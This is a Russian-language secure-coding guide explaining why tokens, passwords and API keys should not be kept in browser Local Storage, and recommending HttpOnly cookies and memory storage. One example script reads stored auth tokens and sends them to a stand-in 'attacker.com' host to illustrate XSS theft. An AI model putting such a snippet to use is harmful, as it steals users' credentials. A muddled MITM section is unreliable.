Почему нельзя хранить чувствительные данные в Local Storage?

Почему Local Storage опасен для чувствительных данных

Local Storage — это удобное хранилище на клиенте, но оно имеет серьёзные проблемы безопасности для чувствительных данных, таких как токены, пароли или личная информация.

1. Доступность для XSS атак

Любой JavaScript код на странице может получить доступ к Local Storage через window.localStorage. При XSS уязвимости (Cross-Site Scripting) злоумышленник может украсть данные:

// Вредоносный скрипт может запустить это
const token = localStorage.getItem('authToken');
const userData = localStorage.getItem('userProfile');

// И отправить на свой сервер
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token, userData })
});

2. Отсутствие эшифрования

Данные в Local Storage хранятся в открытом виде (plain text). Если скомпрометирован девайс пользователя или кэш браузера — данные легко получить:

// Это видно в DevTools > Application > Local Storage
localStorage.setItem('apiKey', 'sk-1234567890abcdef');
// Злоумышленник может открыть DevTools и скопировать

3. Доступ через девайс

Любой, кто получил доступ к компьютеру пользователя, может открыть браузер и прочитать все Local Storage:

// Просто откроешь DevTools
console.log(localStorage);
// Или через скрипт на странице
Object.keys(localStorage).forEach(key => {
  console.log(`${key}: ${localStorage.getItem(key)}`);
});

4. Не удаляется автоматически

Unlike cookies с флагом HttpOnly и Secure, Local Storage не удаляется при закрытии браузера. Данные живут на девайсе бесконечно:

// Это жиёт навсегда
localStorage.setItem('password', 'mySecretPassword');
// Пока пользователь не очистит вручную

5. Уязвимость для Man-in-the-Middle (MITM)

Если соединение не защищено HTTPS, данные могут быть перехвачены при передаче. Затем злоумышленник может использовать их локально:

// На HTTP (незащищенном) соединении
const userData = localStorage.getItem('userToken');
// Может быть перехвачено при передаче между устройствами

Правильный подход: HttpOnly Cookies

// НЕПРАВИЛЬНО - Local Storage
localStorage.setItem('authToken', 'secret-token-123');

// ПРАВИЛЬНО - отправь через Set-Cookie header с флагами
// Server отправляет ответ:
// Set-Cookie: authToken=secret-token-123; HttpOnly; Secure; SameSite=Strict
// Браузер сохраняет, JavaScript не может получить доступ

Безопасное хранилище данных

HttpOnly Cookies (для токенов)

// На сервере (примеры на Python/Express):
// response.set_cookie('authToken', token, httponly=True, secure=True, samesite='Strict')

// На клиенте браузер автоматически отправляет в каждом запросе
fetch('/api/user', {
  credentials: 'include' // отправляет cookies
});
// Токен защищён от JavaScript

Memory (для временных данных)

// Только в памяти, удаляется при refresh
let sessionToken = null;

const login = async (email, password) => {
  const response = await fetch('/api/auth/login', {
    method: 'POST',
    body: JSON.stringify({ email, password })
  });
  const { token } = await response.json();
  sessionToken = token; // только в памяти
  return token;
};

Session Storage (для данных в рамках вкладки)

// Удаляется при закрытии вкладки, недоступно для других вкладок
sessionStorage.setItem('tempData', 'non-sensitive-info');

Рекомендации

1. Никогда не хранить токены, API ключи, пароли в Local Storage
2. Использовать HttpOnly Cookies для токенов аутентификации
3. Использовать Session Storage только для некритичных временных данных
4. Всегда использовать HTTPS для защиты передачи
5. Реализовать Content Security Policy (CSP) для защиты от XSS
6. Регулярно проверять данные на чувствительность перед сохранением

Выбирай место хранения в зависимости от типа данных и их критичности для безопасности приложения.